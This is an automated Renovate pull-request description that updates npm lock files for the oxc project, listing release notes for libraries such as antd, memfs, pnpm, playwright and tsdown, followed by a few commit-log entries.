🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>ant-design/ant-design (antd)</summary>
###
[`v5.26.7`](https://redirect.github.com/ant-design/ant-design/releases/tag/5.26.7 )
[Compare
Source](https://redirect.github.com/ant-design/ant-design/compare/5.26.6...5.26.7 )
- 🐞 Fixed Card `tabBarExtraContent` typing to support both
`React.ReactNode` and `{ left?: React.ReactNode; right?: React.ReactNode
}` using `TabBarExtraContent` from `rc-tabs`.
[#​54470](https://redirect.github.com/ant-design/ant-design/pull/54470 )
[@​pueding](https://redirect.github.com/pueding )
- 🐞 Fixed the issue where the cursor position was incorrect after
pasting text into TextArea.
[#​72](https://redirect.github.com/react-component/textarea/pull/72 )
[@​QdabuliuQ](https://redirect.github.com/QdabuliuQ )
- ⚡ ️ Optimized the size of the Result component icon.
[#​54455](https://redirect.github.com/ant-design/ant-design/pull/54455 )
[@​765477020](https://redirect.github.com/765477020 )
- ⚡ ️ Optimized the calculation performance of internal methods of
Dropdown, Tooltip, Tour.
[#​54443](https://redirect.github.com/ant-design/ant-design/pull/54443 )
[Meet-student](https://redirect.github.com/Meet-student )
- TypeScript
- 🤖 Fixed Tabs `TabPaneProps` type to be compatible with deprecated
APIs.
[#​54482](https://redirect.github.com/ant-design/ant-design/pull/54482 )
[@​leshalv](https://redirect.github.com/leshalv )
***
- 🐞 修复 Card 的 `tabBarExtraContent` 类型定义,仅支持 `React.ReactNode`
的问题。现在支持完整的 `rc-tabs` 类型,包括 `{ left?: React.ReactNode; right?:
React.ReactNode
}`。[#​54470](https://redirect.github.com/ant-design/ant-design/pull/54470 )
[@​pueding](https://redirect.github.com/pueding )
- 🐞 修复了 TextArea 在 Firefox
浏览器下粘贴文本后光标位置错误的问题。[#​72](https://redirect.github.com/react-component/textarea/pull/72 )
[@​QdabuliuQ](https://redirect.github.com/QdabuliuQ )
- ⚡ ️ 优化了 Result
组件的图标的体积。[#​54455](https://redirect.github.com/ant-design/ant-design/pull/54455 )
[@​765477020](https://redirect.github.com/765477020 )
- ⚡ ️ 优化了 Dropdown、Tooltip、Tour
等弹层类组件的内部方法的计算性能。[#​54443](https://redirect.github.com/ant-design/ant-design/pull/54443 )
[Meet-student](https://redirect.github.com/Meet-student )
- TypeScript
- 🤖 修正了 Tabs 的 `TabPaneProps` 类型以兼容废弃
api。[#​54482](https://redirect.github.com/ant-design/ant-design/pull/54482 )
[@​leshalv](https://redirect.github.com/leshalv )
</details>
<details>
<summary>streamich/memfs (memfs)</summary>
###
[`v4.36.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4360-2025-08-03 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.35.0...v4.36.0 )
##### Features
- 🎸 harden WritableStream usage
([155b023](https://redirect.github.com/streamich/memfs/commit/155b0239883e9d7693741f50238121b19d1653f0 ))
###
[`v4.35.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4350-2025-08-02 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.34.0...v4.35.0 )
##### Bug Fixes
- directory timestamp handling - correctly distinguish access vs
modification operations
([db0e6ce](https://redirect.github.com/streamich/memfs/commit/db0e6ceb1925529d71803de0f480665c627cf3c4 ))
- increase setTimeout delay in directory timestamp tests from 1ms to
10ms to improve reliability on Mac systems
([65051af](https://redirect.github.com/streamich/memfs/commit/65051af4b3f03e304cba88f960a89c5f321cf978 ))
##### Features
- add comprehensive test coverage for appendFile path validation
([0baa763](https://redirect.github.com/streamich/memfs/commit/0baa7638d97fd3374abd86fe2fde9c796e502dae ))
- add test case for appendFile with dots in path
([ab544ca](https://redirect.github.com/streamich/memfs/commit/ab544caac21edac56ad4df3ee7387932835137ed ))
- fix directory timestamp handling - correctly distinguish access vs
modification operations
([5d88334](https://redirect.github.com/streamich/memfs/commit/5d88334f24aaf67c6cef758f2d4760e51b6c1369 ))
###
[`v4.34.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4340-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.33.0...v4.34.0 )
##### Features
- add ENOTDIR error for files accessed with trailing slash
([83d36f3](https://redirect.github.com/streamich/memfs/commit/83d36f388f92904cd45acd62df9230218b94a299 ))
###
[`v4.33.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4330-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.32.1...v4.33.0 )
##### Bug Fixes
- correct ENOTDIR vs ENOENT error handling after symlink resolution
([63b5cb3](https://redirect.github.com/streamich/memfs/commit/63b5cb3bff5ba0e79607b5e53ddf0a6cdb360f6b ))
##### Features
- fix ENOTDIR vs ENOENT error handling for file-as-directory scenarios
([adab01d](https://redirect.github.com/streamich/memfs/commit/adab01d9c7effb861fb291ade7f18478c673dd5a ))
####
[4.32.1](https://redirect.github.com/streamich/memfs/compare/v4.32.0...v4.32.1 )
(2025-08-01)
##### Bug Fixes
- remove setTimeout to capture immediate file events in watched
directories
([6cda8d5](https://redirect.github.com/streamich/memfs/commit/6cda8d51d725818ea8b88d94b988124f99e62400 ))
###
[`v4.32.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4330-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.32.0...v4.32.1 )
##### Bug Fixes
- correct ENOTDIR vs ENOENT error handling after symlink resolution
([63b5cb3](https://redirect.github.com/streamich/memfs/commit/63b5cb3bff5ba0e79607b5e53ddf0a6cdb360f6b ))
##### Features
- fix ENOTDIR vs ENOENT error handling for file-as-directory scenarios
([adab01d](https://redirect.github.com/streamich/memfs/commit/adab01d9c7effb861fb291ade7f18478c673dd5a ))
####
[4.32.1](https://redirect.github.com/streamich/memfs/compare/v4.32.0...v4.32.1 )
(2025-08-01)
##### Bug Fixes
- remove setTimeout to capture immediate file events in watched
directories
([6cda8d5](https://redirect.github.com/streamich/memfs/commit/6cda8d51d725818ea8b88d94b988124f99e62400 ))
###
[`v4.32.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4330-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.31.0...v4.32.0 )
##### Bug Fixes
- correct ENOTDIR vs ENOENT error handling after symlink resolution
([63b5cb3](https://redirect.github.com/streamich/memfs/commit/63b5cb3bff5ba0e79607b5e53ddf0a6cdb360f6b ))
##### Features
- fix ENOTDIR vs ENOENT error handling for file-as-directory scenarios
([adab01d](https://redirect.github.com/streamich/memfs/commit/adab01d9c7effb861fb291ade7f18478c673dd5a ))
####
[4.32.1](https://redirect.github.com/streamich/memfs/compare/v4.32.0...v4.32.1 )
(2025-08-01)
##### Bug Fixes
- remove setTimeout to capture immediate file events in watched
directories
([6cda8d5](https://redirect.github.com/streamich/memfs/commit/6cda8d51d725818ea8b88d94b988124f99e62400 ))
###
[`v4.31.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4310-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.30.1...v4.31.0 )
##### Features
- improve FileHandle.readableWebStream() with proper locking and
autoClose support
([1e27b52](https://redirect.github.com/streamich/memfs/commit/1e27b52b74e02553f1f44c38616e1d0b750e2d65 ))
####
[4.30.1](https://redirect.github.com/streamich/memfs/compare/v4.30.0...v4.30.1 )
(2025-08-01)
##### Bug Fixes
- add missing name check in FsaNodeSyncWorker.getFileOrDir for root
directory
([fcdd81e](https://redirect.github.com/streamich/memfs/commit/fcdd81e354918c6fb475d2da8b61bf18f7ddc5e2 ))
- allow lstat to traverse intermediate symlinks
([733eb2c](https://redirect.github.com/streamich/memfs/commit/733eb2c3ac2238370ab8bceb3059b89ade90afd0 ))
- statSync("/") error in FsaNodeSyncAdapterWorker
([bd831a6](https://redirect.github.com/streamich/memfs/commit/bd831a69d172dd32765d4ac8c11e1451e5b5378e ))
###
[`v4.30.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4310-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.30.0...v4.30.1 )
##### Features
- improve FileHandle.readableWebStream() with proper locking and
autoClose support
([1e27b52](https://redirect.github.com/streamich/memfs/commit/1e27b52b74e02553f1f44c38616e1d0b750e2d65 ))
####
[4.30.1](https://redirect.github.com/streamich/memfs/compare/v4.30.0...v4.30.1 )
(2025-08-01)
##### Bug Fixes
- add missing name check in FsaNodeSyncWorker.getFileOrDir for root
directory
([fcdd81e](https://redirect.github.com/streamich/memfs/commit/fcdd81e354918c6fb475d2da8b61bf18f7ddc5e2 ))
- allow lstat to traverse intermediate symlinks
([733eb2c](https://redirect.github.com/streamich/memfs/commit/733eb2c3ac2238370ab8bceb3059b89ade90afd0 ))
- statSync("/") error in FsaNodeSyncAdapterWorker
([bd831a6](https://redirect.github.com/streamich/memfs/commit/bd831a69d172dd32765d4ac8c11e1451e5b5378e ))
###
[`v4.30.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4310-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.29.0...v4.30.0 )
##### Features
- improve FileHandle.readableWebStream() with proper locking and
autoClose support
([1e27b52](https://redirect.github.com/streamich/memfs/commit/1e27b52b74e02553f1f44c38616e1d0b750e2d65 ))
####
[4.30.1](https://redirect.github.com/streamich/memfs/compare/v4.30.0...v4.30.1 )
(2025-08-01)
##### Bug Fixes
- add missing name check in FsaNodeSyncWorker.getFileOrDir for root
directory
([fcdd81e](https://redirect.github.com/streamich/memfs/commit/fcdd81e354918c6fb475d2da8b61bf18f7ddc5e2 ))
- allow lstat to traverse intermediate symlinks
([733eb2c](https://redirect.github.com/streamich/memfs/commit/733eb2c3ac2238370ab8bceb3059b89ade90afd0 ))
- statSync("/") error in FsaNodeSyncAdapterWorker
([bd831a6](https://redirect.github.com/streamich/memfs/commit/bd831a69d172dd32765d4ac8c11e1451e5b5378e ))
###
[`v4.29.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4290-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.28.1...v4.29.0 )
##### Features
- add missing Node.js fs APIs with proper TypeScript types and stubs
([280f317](https://redirect.github.com/streamich/memfs/commit/280f31701a219deed4b131c573e5fbd14cc50912 ))
####
[4.28.1](https://redirect.github.com/streamich/memfs/compare/v4.28.0...v4.28.1 )
(2025-08-01)
##### Bug Fixes
- correct writevSync return type to number per Node.js documentation
([d7720c3](https://redirect.github.com/streamich/memfs/commit/d7720c34bf021912167897de0aeae8fcc41a5481 ))
- make position parameter optional in readvSync, writeSync, and
writevSync methods
([3e4ccc6](https://redirect.github.com/streamich/memfs/commit/3e4ccc6599cb297d134965eb43723db7e3c81cb7 ))
###
[`v4.28.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4290-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.28.0...v4.28.1 )
##### Features
- add missing Node.js fs APIs with proper TypeScript types and stubs
([280f317](https://redirect.github.com/streamich/memfs/commit/280f31701a219deed4b131c573e5fbd14cc50912 ))
####
[4.28.1](https://redirect.github.com/streamich/memfs/compare/v4.28.0...v4.28.1 )
(2025-08-01)
##### Bug Fixes
- correct writevSync return type to number per Node.js documentation
([d7720c3](https://redirect.github.com/streamich/memfs/commit/d7720c34bf021912167897de0aeae8fcc41a5481 ))
- make position parameter optional in readvSync, writeSync, and
writevSync methods
([3e4ccc6](https://redirect.github.com/streamich/memfs/commit/3e4ccc6599cb297d134965eb43723db7e3c81cb7 ))
###
[`v4.28.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4290-2025-08-01 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.27.0...v4.28.0 )
##### Features
- add missing Node.js fs APIs with proper TypeScript types and stubs
([280f317](https://redirect.github.com/streamich/memfs/commit/280f31701a219deed4b131c573e5fbd14cc50912 ))
####
[4.28.1](https://redirect.github.com/streamich/memfs/compare/v4.28.0...v4.28.1 )
(2025-08-01)
##### Bug Fixes
- correct writevSync return type to number per Node.js documentation
([d7720c3](https://redirect.github.com/streamich/memfs/commit/d7720c34bf021912167897de0aeae8fcc41a5481 ))
- make position parameter optional in readvSync, writeSync, and
writevSync methods
([3e4ccc6](https://redirect.github.com/streamich/memfs/commit/3e4ccc6599cb297d134965eb43723db7e3c81cb7 ))
###
[`v4.27.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4270-2025-07-31 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.26.0...v4.27.0 )
##### Bug Fixes
- resolve security regex issue and constructor bug in FSA classes
([c7c268c](https://redirect.github.com/streamich/memfs/commit/c7c268c07ba1adaddef61b4eefe237f88d7109f4 ))
##### Features
- complete Core FSA implementation with clean linting
([e53cd7c](https://redirect.github.com/streamich/memfs/commit/e53cd7cb154e3433fbaf7a5e6b6e76dfe5f56c1a ))
- complete FSA implementation with main package exports
([a26e1cc](https://redirect.github.com/streamich/memfs/commit/a26e1ccbc5eaf5bff5b997de81b8ff002a074fad ))
- implement Core FSA classes with basic functionality working
([7e60a4a](https://redirect.github.com/streamich/memfs/commit/7e60a4a6d23ef08861d5c69df0146c8008019b83 ))
- revert index.ts changes and implement queryPermission method
([02c2b6c](https://redirect.github.com/streamich/memfs/commit/02c2b6ca8102c93332d88bb0f043f4d8ba7d3feb ))
###
[`v4.26.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4260-2025-07-31 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.25.1...v4.26.0 )
##### Bug Fixes
- revert yarn.lock changes and fix import paths in moved test files
([1cd8d0a](https://redirect.github.com/streamich/memfs/commit/1cd8d0a52641d418c515028dcd6575d69c5a0609 ))
- update remaining import paths in volume.test.ts
([4dd00c8](https://redirect.github.com/streamich/memfs/commit/4dd00c813a03572f2fe42e564b0c9666b9117c86 ))
- update remaining Stats import in mkdirSync test
([4cfcfa6](https://redirect.github.com/streamich/memfs/commit/4cfcfa6b2ef73cc96a3c3d5a3035621d73e13330 ))
##### Features
- update Node.js interfaces to use property syntax instead of method
declarations
([a774c3f](https://redirect.github.com/streamich/memfs/commit/a774c3feff4b1fbf58e69a6f83e8e8530af34328 ))
####
[4.25.1](https://redirect.github.com/streamich/memfs/compare/v4.25.0...v4.25.1 )
(2025-07-31)
##### Performance Improvements
- remove await in loop for toSnapshot
([66519da](https://redirect.github.com/streamich/memfs/commit/66519da0637870985433418981064c814997f076 ))
###
[`v4.25.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4260-2025-07-31 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.25.0...v4.25.1 )
##### Bug Fixes
- revert yarn.lock changes and fix import paths in moved test files
([1cd8d0a](https://redirect.github.com/streamich/memfs/commit/1cd8d0a52641d418c515028dcd6575d69c5a0609 ))
- update remaining import paths in volume.test.ts
([4dd00c8](https://redirect.github.com/streamich/memfs/commit/4dd00c813a03572f2fe42e564b0c9666b9117c86 ))
- update remaining Stats import in mkdirSync test
([4cfcfa6](https://redirect.github.com/streamich/memfs/commit/4cfcfa6b2ef73cc96a3c3d5a3035621d73e13330 ))
##### Features
- update Node.js interfaces to use property syntax instead of method
declarations
([a774c3f](https://redirect.github.com/streamich/memfs/commit/a774c3feff4b1fbf58e69a6f83e8e8530af34328 ))
####
[4.25.1](https://redirect.github.com/streamich/memfs/compare/v4.25.0...v4.25.1 )
(2025-07-31)
##### Performance Improvements
- remove await in loop for toSnapshot
([66519da](https://redirect.github.com/streamich/memfs/commit/66519da0637870985433418981064c814997f076 ))
###
[`v4.25.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4260-2025-07-31 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.24.0...v4.25.0 )
##### Bug Fixes
- revert yarn.lock changes and fix import paths in moved test files
([1cd8d0a](https://redirect.github.com/streamich/memfs/commit/1cd8d0a52641d418c515028dcd6575d69c5a0609 ))
- update remaining import paths in volume.test.ts
([4dd00c8](https://redirect.github.com/streamich/memfs/commit/4dd00c813a03572f2fe42e564b0c9666b9117c86 ))
- update remaining Stats import in mkdirSync test
([4cfcfa6](https://redirect.github.com/streamich/memfs/commit/4cfcfa6b2ef73cc96a3c3d5a3035621d73e13330 ))
##### Features
- update Node.js interfaces to use property syntax instead of method
declarations
([a774c3f](https://redirect.github.com/streamich/memfs/commit/a774c3feff4b1fbf58e69a6f83e8e8530af34328 ))
####
[4.25.1](https://redirect.github.com/streamich/memfs/compare/v4.25.0...v4.25.1 )
(2025-07-31)
##### Performance Improvements
- remove await in loop for toSnapshot
([66519da](https://redirect.github.com/streamich/memfs/commit/66519da0637870985433418981064c814997f076 ))
###
[`v4.24.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4240-2025-07-30 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.23.0...v4.24.0 )
##### Features
- refactor core classes to separate files
([0ce0317](https://redirect.github.com/streamich/memfs/commit/0ce0317eff853cf0c9af860682ecca1cedc2138b ))
</details>
<details>
<summary>motiondivision/motion (motion)</summary>
###
[`v12.23.12`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122312-2025-07-29 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.11...v12.23.12 )
##### Added
- Exporting internal APIs for use in view animations.
###
[`v12.23.11`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122311-2025-07-28 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.10...v12.23.11 )
##### Added
- Children of variants with `delayChildren: stagger()` will now be
staggered correctly alongside their newly-entering siblings.
###
[`v12.23.10`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122310-2025-07-28 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.9...v12.23.10 )
##### Fixed
- Fixed shared layout animation in situations where no `motion`
components have re-rendered between shared element switching.
</details>
<details>
<summary>oxc-project/oxc (oxlint)</summary>
###
[`v1.9.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#190---2025-07-29 )
[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.8.0...oxlint_v1.9.0 )
##### 🚜 Refactor
-
[`bea652f`](https://redirect.github.com/oxc-project/oxc/commit/bea652f )
linter: Add `vue` and `regex` to `BuiltinLintPlugins`
([#​12542](https://redirect.github.com/oxc-project/oxc/issues/12542 ))
(Sysix)
</details>
<details>
<summary>microsoft/playwright (playwright)</summary>
###
[`v1.54.2`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.54.2 )
[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.54.1...v1.54.2 )
##### Highlights
[https://github.com/microsoft/playwright/issues/36714 ](https://redirect.github.com/microsoft/playwright/issues/36714 )
- \[Regression]: Codegen is not able to launch in Administrator Terminal
on Windows (ProtocolError: Protocol
error)[https://github.com/microsoft/playwright/issues/36828 ](https://redirect.github.com/microsoft/playwright/issues/36828 )8
- \[Regression]: Playwright Codegen keeps spamming with selected
optio[https://github.com/microsoft/playwright/issues/36810 ](https://redirect.github.com/microsoft/playwright/issues/36810 )10
- \[Regression]: Starting Codegen with target language doesn't work
anymore
#### Browser Versions
- Chromium 139.0.7258.5
- Mozilla Firefox 140.0.2
- WebKit 26.0
This version was also tested against the following stable channels:
- Google Chrome 140
- Microsoft Edge 140
</details>
<details>
<summary>pnpm/pnpm (pnpm)</summary>
###
[`v10.14.0`](https://redirect.github.com/pnpm/pnpm/blob/HEAD/pnpm/CHANGELOG.md#10140 )
[Compare
Source](https://redirect.github.com/pnpm/pnpm/compare/v10.13.1...v10.14.0 )
##### Minor Changes
- **Added support for JavaScript runtime resolution**
Declare Node.js, Deno, or Bun in
[`devEngines.runtime`](https://redirect.github.com/openjs-foundation/package-metadata-interoperability-collab-space/issues/15 )
(inside `package.json`) and let pnpm download and pin it automatically.
Usage example:
```json
{
"devEngines": {
"runtime": {
"name": "node",
"version": "^24.4.0",
"onFail": "download" (we only support the "download" value for now)
}
}
}
```
How it works:
1. `pnpm install` resolves your specified range to the latest matching
runtime version.
2. The exact version (and checksum) is saved in the lockfile.
3. Scripts use the local runtime, ensuring consistency across
environments.
Why this is better:
1. This new setting supports also Deno and Bun (vs. our Node-only
settings `useNodeVersion` and `executionEnv.nodeVersion`)
2. Supports version ranges (not just a fixed version).
3. The resolved version is stored in the pnpm lockfile, along with an
integrity checksum for future validation of the Node.js content's
validity.
4. It can be used on any workspace project (like
`executionEnv.nodeVersion`). So, different projects in a workspace can
use different runtimes.
5. For now `devEngines.runtime` setting will install the runtime
locally, which we will improve in future versions of pnpm by using a
shared location on the computer.
Related PR:
[#​9755](https://redirect.github.com/pnpm/pnpm/pull/9755 ).
- Add `--cpu`, `--libc`, and `--os` to `pnpm install`, `pnpm add`, and
`pnpm dlx` to customize `supportedArchitectures` via the CLI
[#​7510](https://redirect.github.com/pnpm/pnpm/issues/7510 ).
##### Patch Changes
- Fix a bug in which `pnpm add` downloads packages whose `libc` differ
from `pnpm.supportedArchitectures.libc`.
- The integrities of the downloaded Node.js artifacts are verified
[#​9750](https://redirect.github.com/pnpm/pnpm/pull/9750 ).
- Allow `dlx` to parse CLI flags and options between the `dlx` command
and the command to run or between the `dlx` command and `--`
[#​9719](https://redirect.github.com/pnpm/pnpm/issues/9719 ).
- `pnpm install --prod` should removing hoisted dev dependencies
[#​9782](https://redirect.github.com/pnpm/pnpm/issues/9782 ).
- Fix an edge case bug causing local tarballs to not re-link into the
virtual store. This bug would happen when changing the contents of the
tarball without renaming the file and running a filtered install.
- Fix a bug causing `pnpm install` to incorrectly assume the lockfile is
up to date after changing a local tarball that has peers dependencies.
</details>
<details>
<summary>preactjs/preact (preact)</summary>
###
[`v10.27.0`](https://redirect.github.com/preactjs/preact/releases/tag/10.27.0 )
[Compare
Source](https://redirect.github.com/preactjs/preact/compare/10.26.9...10.27.0 )
#### Features
- Update `refcallback` type to reflect possibility of returning cleanup
function and add debug helper exports
([#​4860](https://redirect.github.com/preactjs/preact/issues/4860 ),
thanks [@​rschristian](https://redirect.github.com/rschristian ))
- Backport of
[https://github.com/preactjs/preact/pull/4830 ](https://redirect.github.com/preactjs/preact/pull/4830 )
and
[https://github.com/preactjs/preact/pull/4801 ](https://redirect.github.com/preactjs/preact/pull/4801 )
#### Fixes
- Ensure we rerender after a suspensefully hydrating boundary throws an…
([#​4856](https://redirect.github.com/preactjs/preact/issues/4856 ),
thanks [@​JoviDeCroock](https://redirect.github.com/JoviDeCroock ))
#### Maintenance
- Update 'replaceNode' deprecation comment to point at new shim
([#​4844](https://redirect.github.com/preactjs/preact/issues/4844 ),
thanks [@​rschristian](https://redirect.github.com/rschristian ))
- Reduce some repeated logic
([#​4814](https://redirect.github.com/preactjs/preact/issues/4814 ))
([#​4821](https://redirect.github.com/preactjs/preact/issues/4821 ),
thanks [@​JoviDeCroock](https://redirect.github.com/JoviDeCroock ))
</details>
<details>
<summary>facebook/react (react)</summary>
###
[`v19.1.1`](https://redirect.github.com/facebook/react/compare/v19.1.0...4017a4b43b9d8d4a2b75fe81dde69f6e62453e68 )
[Compare
Source](https://redirect.github.com/facebook/react/compare/v19.1.0...v19.1.1 )
</details>
<details>
<summary>facebook/react (react-dom)</summary>
###
[`v19.1.1`](https://redirect.github.com/facebook/react/compare/v19.1.0...4017a4b43b9d8d4a2b75fe81dde69f6e62453e68 )
[Compare
Source](https://redirect.github.com/facebook/react/compare/v19.1.0...v19.1.1 )
</details>
<details>
<summary>mrdoob/three.js (three)</summary>
###
[`v0.179.1`](https://redirect.github.com/mrdoob/three.js/compare/0f246617770fac88855ce916f3f5b234d4f1d032...54ac263593c81b669ca9a089491ddd9e240427d2 )
[Compare
Source](https://redirect.github.com/mrdoob/three.js/compare/0f246617770fac88855ce916f3f5b234d4f1d032...54ac263593c81b669ca9a089491ddd9e240427d2 )
###
[`v0.179.0`](https://redirect.github.com/mrdoob/three.js/compare/3b1ff7661884f26e6d9af1d94c293129aaba885c...0f246617770fac88855ce916f3f5b234d4f1d032 )
[Compare
Source](https://redirect.github.com/mrdoob/three.js/compare/3b1ff7661884f26e6d9af1d94c293129aaba885c...0f246617770fac88855ce916f3f5b234d4f1d032 )
</details>
<details>
<summary>microsoft/TypeScript (typescript)</summary>
###
[`v5.9.2`](https://redirect.github.com/microsoft/TypeScript/compare/v5.8.3...5be33469d551655d878876faa9e30aa3b49f8ee9 )
[Compare
Source](https://redirect.github.com/microsoft/TypeScript/compare/v5.8.3...v5.9.2 )
</details>
<details>
<summary>jquense/yup (yup)</summary>
###
[`v1.7.0`](https://redirect.github.com/jquense/yup/blob/HEAD/CHANGELOG.md#170-2025-08-01 )
[Compare
Source](https://redirect.github.com/jquense/yup/compare/v1.6.1...v1.7.0 )
##### Features
- Implement standard schema interface
([#​2258](https://redirect.github.com/jquense/yup/issues/2258 ))
([ced5f51](https://redirect.github.com/jquense/yup/commit/ced5f514a6033a96f5de3b4ae9c17fe0de86d68f ))
- resolve ref params if present when describing
([ef53030](https://redirect.github.com/jquense/yup/commit/ef5303025c38e6e0dc0de53c990e7277cc74164e )),
closes
[#​2276](https://redirect.github.com/jquense/yup/issues/2276 )
####
[1.6.1](https://redirect.github.com/jquense/yup/compare/v1.6.0...v1.6.1 )
(2024-12-17)
##### Bug Fixes
- lazy validation errors thrown in builders should resolve async like
other validations
([c7d7f97](https://redirect.github.com/jquense/yup/commit/c7d7f977e02a7e578950dff192057e0b200999bd ))
</details>
<details>
<summary>rolldown/tsdown (tsdown)</summary>
###
[`v0.13.2`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.13.2 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.13.1...v0.13.2 )
##### 🚨 Upstream Breaking Changes
- Rename `dts.isolatedDeclarations` to `dts.oxc` - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(5bdb9)</samp>](https://redirect.github.com/sxzz/rolldown-plugin-dts/commit/5bdb92c )
##### 🚀 Features
- Support silent as programmatic usage - by
[@​Gugustinette](https://redirect.github.com/Gugustinette ) and
[@​sxzz](https://redirect.github.com/sxzz ) in
[https://github.com/rolldown/tsdown/issues/404 ](https://redirect.github.com/rolldown/tsdown/issues/404 )
[<samp>(6d4b4)</samp>](https://redirect.github.com/rolldown/tsdown/commit/6d4b439 )
##### 🐞 Bug Fixes
- Invalidate tsc before rebuild - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(0c7ab)</samp>](https://redirect.github.com/rolldown/tsdown/commit/0c7ab92 )
- Silent for resolved options - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(4566c)</samp>](https://redirect.github.com/rolldown/tsdown/commit/4566c0a )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.13.1...v0.13.2 )
###
[`v0.13.1`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.13.1 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.13.0...v0.13.1 )
##### 🚀 Features
- Exports with dir index - by
[@​Debbl](https://redirect.github.com/Debbl ) in
[https://github.com/rolldown/tsdown/issues/393 ](https://redirect.github.com/rolldown/tsdown/issues/393 )
[<samp>(dd6c7)</samp>](https://redirect.github.com/rolldown/tsdown/commit/dd6c7c6 )
##### 🐞 Bug Fixes
- Clean outDir on rebuilds in watch mode - by
[@​ekzhang](https://redirect.github.com/ekzhang ) in
[https://github.com/rolldown/tsdown/issues/398 ](https://redirect.github.com/rolldown/tsdown/issues/398 )
[<samp>(7308f)</samp>](https://redirect.github.com/rolldown/tsdown/commit/7308f76 )
- Overload `defineConfig` - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(7c32a)</samp>](https://redirect.github.com/rolldown/tsdown/commit/7c32a1d )
- Kill sub-process for onSuccess - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(bd9d8)</samp>](https://redirect.github.com/rolldown/tsdown/commit/bd9d818 )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.13.0...v0.13.1 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS41MS4xIiwidXBkYXRlZEluVmVyIjoiNDEuNTEuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-03 21:04:22 +00:00
Copilot
e9b94883db
feat(tasks/e2e): Add popular JavaScript libraries to e2e tests for better OXC coverage ( #12690 )
2025-08-01 14:35:24 +08:00
Boshen
a286dd4a5b
feat(minifier): remove unnecessary 'use strict' directive ( #12642 )
2025-07-31 05:07:44 +00:00
renovate[bot]
9789835565
chore(deps): lock file maintenance npm packages ( #12553 )
